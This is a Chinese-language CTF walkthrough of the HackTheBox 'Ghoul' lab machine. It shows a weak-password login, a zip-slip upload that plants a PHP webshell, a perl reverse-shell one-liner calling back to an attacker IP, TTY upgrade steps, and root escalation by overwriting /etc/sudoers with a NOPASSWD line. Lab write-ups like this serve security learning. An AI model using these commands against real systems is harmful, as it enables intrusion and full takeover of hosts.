Hackthebox-Ghoul靶机

举报
Khan安全团队 发表于 2023/05/15 09:35:23 2023/05/15
【摘要】 Hackthebox-Ghoul
CTF挑战靶机是来自hackthebox的“Ghoul”,hackthebox是一个非常不错的在线实验平台。

Masscan扫描出目标存在22,80,8080,2222端口

图片


用nmap -a参数扫出更详细的系统信息

图片


8080web端口需要身份认证才能登录,弱口令admin:admin拿下

图片


发现8080存在文件上传,分别是image上传和zip上传

图片


图片上传穿不了马,发现zip可以上传带php脚本内容的文件

网上查出zip-slip,当application中存在压缩包解压代码且没有验证文件的情况下,会构成zip-slip漏洞

相关链接:https://xz.aliyun.com/t/2382

图片

图片


利用evilarc工具构造phpwebshell的恶意压缩包

工具路径:https://github.com/ptoomey3/evilarc

图片


连上webshell

我们开启nc监听,用perl反连

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

 

连上webshell后我们尝试将shell升级为完全交互式的TTY

准备工作:需要在自己的终端上面检查STTY和TERM的信息

用stty -a检查当前STTY信息

用echo $TERM检查当前终端

图片


所需要TERM类型(“xterm-256color”)和当前TTY大小(24行;80列)

Step1:

查看存不存在python环境(不存在python环境的情况不在这讨论,详细看下方连接)

Step2:

存在python环境的情况下就利用python的pty模块创建一个伪终端,命令如下:# python -c ’import pty;pty.spawn(“/bin/bash”)’

Step3:Ctrl-z将终端放入后台,将当前STTY设置为raw,输入如下命令:

# stty raw -echo

Raw设置打开后,你可能会看不见下一条的输入,但是命令仍会执行,输入命令:

# fg

将shell从后台中提出来,并重置它,输入如下命令进行重置:

# reset

Step4:我看会看到shell被提取到了前台,接下来我们输入以下三条指令去匹配我们当前的终端窗口(根据上面收集的信息)

# export SHELL=bash

# export TERM=xterm-256color

# stty rows 24 columns 80

最终哦我们得到一个用nc shell升级的TTY,它具有命令补全,历史查看等功能

 

具体来源如下:

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

图片

图片

图片


用mount可以查看到web是跑在docker里面的,我们可以将在sudoers文件里面写入命令,将www-data提升为root权限,写入的内容如下:www-data ALL=(ALL) NOPASSWD:ALL

利用zip-slip将sudoers写入到/etc/sudoers

图片

图片

图片


无需密码获取root权限,cat flag

图片

【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请自行联系原作者进行授权。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。